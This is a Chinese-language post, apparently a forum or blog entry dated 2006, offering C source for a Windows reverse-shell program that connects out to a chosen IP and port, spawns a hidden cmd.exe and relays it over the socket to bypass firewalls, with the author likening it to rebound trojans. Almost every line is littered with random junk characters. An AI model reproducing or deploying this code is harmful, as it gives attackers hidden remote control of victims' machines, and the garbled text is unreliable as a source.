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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P1#g{f  
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/* ============================== ZO+RE7f*?c  
Rebound port in Windows NT SN6 QX!3  
By wind,2006/7 Ly= .  
===============================*/ A95f!a  
#include ~q>jXi  
#include :;$MUOps  
/[R=-s ;  
#pragma comment(lib,"wsock32.lib") inu.U[.  
HQ-[k$d W4  
void OutputShell(); aDS:82GMQ  
SOCKET sClient; lrrTeE*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l@`k:?  
di\.*7l?  
void main(int argc,char **argv) [(X~C*VdxM  
{ 5'!fi]Z  
WSADATA stWsaData; 1+%UZK= K  
int nRet; D*l(p5[  
SOCKADDR_IN stSaiClient,stSaiServer; y?s z&*:  
ak7%  
if(argc != 3)  \XDiw~0  
{ \f,<\mJ#  
printf("Useage:\n\rRebound DestIP DestPort\n"); }8'_M/u\  
return; kQ\GVI11?  
} ]TvMT  
x[ A|@\Z  
WSAStartup(MAKEWORD(2,2),&stWsaData); 757&bH|a  
+17!v_4^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Xlo-gHk  
yg\QtWW M  
stSaiClient.sin_family = AF_INET; D+T/ Z)  
stSaiClient.sin_port = htons(0); G|cjI*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,Yag! i>;  
RDps{),E;d  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FSuC)Xg  
{ Fe8X@63  
printf("Bind Socket Failed!\n"); mnTF40l  
return; bTs2$81[  
} wgz]R  
*q}yfa35eR  
stSaiServer.sin_family = AF_INET; ydWr&E5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E:` _P+2p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GMU!GSY  
P@y)K!{Nk  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l;M,=ctB(  
{ Zma;An6  
printf("Connect Error!"); tP_.-//  
return; r] /Ej!|  
} C  eEhe  
OutputShell(); 7mtx^  
} *r.% /^@  
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void OutputShell() Y[*.^l._  
{ ximVh}'a  
char szBuff[1024]; fR1L VLU  
SECURITY_ATTRIBUTES stSecurityAttributes; A&}]:4@{  
OSVERSIONINFO stOsversionInfo; tY$@,>2v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nJ2B*(S'v.  
STARTUPINFO stStartupInfo; m mF0RNE  
char *szShell; p39$V[*g(  
PROCESS_INFORMATION stProcessInformation; #( .G;e;w  
unsigned long lBytesRead; 4m~y%> &  
2)BO@]n  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fb Bu^]^S  
=8_b&4.:&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +149 o2  
stSecurityAttributes.lpSecurityDescriptor = 0; 8Hq4ppC  
stSecurityAttributes.bInheritHandle = TRUE; IlJ"t`Z9)  
:1d;jx>  
<gPM/ 4$G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >4g!ic~O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \7\sx:!$  
m9h<)D'>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =2q#- ,t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( yLu=  
stStartupInfo.wShowWindow = SW_HIDE; dr)*.<_+a(  
stStartupInfo.hStdInput = hReadPipe; %=z>kU1|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z/#,L!Z3  
Le83[E*i  
GetVersionEx(&stOsversionInfo); 0 Rb3| te  
WOPIF~1v  
switch(stOsversionInfo.dwPlatformId) 7,)E1dx -V  
{ I(UK9H{0$  
case 1: 0Hrvr  
szShell = "command.com"; hq"n RH  
break; g Cp`J(2v:  
default: kNP-+o  
szShell = "cmd.exe"; KXZ G42w  
break; LYAGpcG  
} <hzHrx'o{  
[XPAI["  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r'ilJ("  
Zzlt^#KLx  
send(sClient,szMsg,77,0); =lv(  
while(1) ll}_EUF|  
{ :E{)yT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e@c8Ce|0  
if(lBytesRead) $c*fbBM(&n  
{ ^5Y<evjm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7(5d$W  
send(sClient,szBuff,lBytesRead,0); ]prw=rD  
} E2l" e?AN~  
else WiH8j$;xu  
{ y%|Ez  
lBytesRead=recv(sClient,szBuff,1024,0); H/t0#  
if(lBytesRead<=0) break; \[!{tbK`2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >07i"a  
} O0y0'P-rJq  
} 75>%!mhM  
ju:}%'  
return; / 1TK+E$  
}
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